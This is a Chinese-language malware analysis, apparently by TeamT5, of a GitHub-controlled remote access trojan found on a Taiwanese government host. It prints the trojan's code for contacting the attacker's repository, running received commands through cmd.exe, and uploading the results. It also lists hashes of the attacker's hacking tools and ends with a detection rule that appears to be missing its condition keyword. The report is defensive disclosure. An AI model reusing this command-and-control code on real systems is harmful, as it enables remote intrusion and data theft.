前言
TeamT5 近期於台灣某政府機關發現駭客入侵事件,駭客於受害端點上植入遠端控制程式(Remote Access Tool, RAT)。特別之處在於,駭客透過 GitHub 雲端服務做為中繼站,藉此規避網路閘道端資安設備的偵測與攔阻。下圖為該受害主機向中繼站報到時,所回傳的端點資訊,可清楚看出該端點的域名為台灣政府機關。
圖一、台灣某政府單位受駭
技術分析
TeamT5 分析此 GithubRAT 後門程式,發現原為 Python Script,透過 PyInstaller 封裝為 Windows 執行檔。
GithubRAT 執行後,會透過 api.github.com 連線至駭客的 Github 專案(Repository),並將駭客下達指令的結果回傳至 Github 專案上,其檔名為 Base64 編碼後的受害電腦名稱,網路封包如下圖所示。
圖二、GithubRAT 使用 api.github.com 作為惡意中繼站
TeamT5 分析 GithubRAT 惡意程式運作原理,將其執行步驟拆解如下:
- 連線至駭客的 Github 專案,如下所示。
def __init__(self): self.back_git_heart = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_HEART, self.back_sid) self.back_git_cmd = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_CMD, self.back_sid) self.back_git_answer = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_ANSWER, self.back_sid) self.back_git_token = 'https://api.github.com/repos/{}/{}/contents/{}/{}'.format(B_USER, B_PROJECT, B_PATH, 'token')
- 將電腦名稱透過 Base64 編碼並註冊回傳至 Github 專案中。
- 從 Github 專案下載駭客的控制指令。
- 利用命令提示字元 cmd.exe 執行駭客指令,如下所示。
def back_cmd(self, command): _t_data = 'timeout' p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) _t = 10 while _t > 0: time.sleep(1) if p.poll() == 0: _t_data = p.stdout.read() + p.stderr.read() break _t = _t - 1 return _t_data
- 將指令執行之結果回傳至 Github 專案中,如下所示。
def _put_git_answer(self, data): _result_status = False _status, _sha = self._get_git_hash(self.back_git_answer) d = {'message': 'my commit message', 'content': base64.b64encode(data), 'sha': _sha } headers = {'Authorization': 'token ' + B_TOKEN,'user-agent': B_USER_AGENT} try: r = requests.put(url=self.back_git_answer, data=json.dumps(d), headers=headers) if not _status and r.status_code == 201: _result_status = True if _sha and r.status_code == 200: _result_status = True except Exception as e: pass return _result_status
- 不斷重複步驟 3 至步驟 5。
另外,我們也發現駭客放置許多惡意程式於該 Github 專案中,其中包含密碼竊取(Password Dump)、漏洞利用(Exploit)及後門(Backdoor)等惡意程式,其詳細清單如下表所示。
Hash | 說明 |
---|---|
a5f12ee032af8e8dd5a373f611f64726 | Backdoor Loader |
944465a0edd09d8eb569630a68ee111c | Cobalt Strike Payload |
e5ed0de0100f670324202bbf5982a80a | Cobalt Strike Payload |
4f67e80118dcc4a42ebcb2af2cad65ce | Hacktool,CVE-2014-4113 Exploit |
0468a816c167ca5ad301dc408eb19fb5 | HackTool,Chrome Password Dump |
b33c7c022e1a25a981faabfc0fe53f6d | HackTool,AD Password Brute-Force Tool |
5178eb048ecaed83b69aa277a7c6d784 | HackTool,NETBIOS NameServer Scanner |
2f9b582378c559ca66b48abd51f436a0 | HackTool,TCP Port Banner Scanner |
aad8b062891c0715a1842270c0a871eb | HackTool,MS-17-010 Eternalblue Scanner |
41e32076f2e75181ce9f1cac6099a918 | HackTool,MS-17-010 Eternalblue Scanner |
1a41f9550964ada62f87f6a0b79e37ba | HackTool,NETBIOS NameServer Scanner |
表一、駭客 GitHub 專案中的惡意程式列表
影響與建議
由於許多單位都會使用 Github 服務作為版本控制之用,因此對 Github 的存取都會是許可的狀態,這也變成駭客反過來利用的機制。駭客利用大眾對於雲端服務的需求,轉而透過該雲端服務作為中繼站,遠端控制受害電腦。同時,該 GithubRAT 係透過 PyInstaller 進行封裝,駭客使用其他封裝工具即可快速改變檔案雜湊值,因此 TeamT5 建議可透過網路連線紀錄來威脅狩獵(Threat Hunting),找尋環境內是否有密集且定期的 api.github.com 連線紀錄,藉此找出環境中異常的網路存取連線。
最後,若單位遭遇進階持續性威脅(Advanced Persistent Threat, APT)時,建議可使用 TeamT5 的 ThreatSonar 惡意威脅鑑識分析平臺,可有效偵測此類進階攻擊手法,並快速完成事件關聯與回應。TeamT5 建議可將下方威脅指標(Indicator of Compromise, IOC)匯入各式資安設備中,強化威脅偵測與識別。
- 表一中所有的惡意程式雜湊值
- Yara Rule
rule RAT_Github
{
meta:
description= "detecting GithubRAT memory"
author = "TeamT5"
date = "2020-08-05"
strings:
$str1 = "pyi-windows-manifest-filename"
$str2 = "https://api.github.com/repos/{}/{}/contents/{}/{}"
$str3 = "back_cmd"
$str4 = "put_git_answer"
all of them
}
圖三、ThreatSonar 供資安人員快速匯入 Yara Rule 並自訂威脅等級
*圖片來源:Unsplash
Related Post
技術分析
2020.12.22
macOS 用戶當心!北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶
APT, Lazarus, MovieRAT, macOS, cyber threat intelligence, threat hunting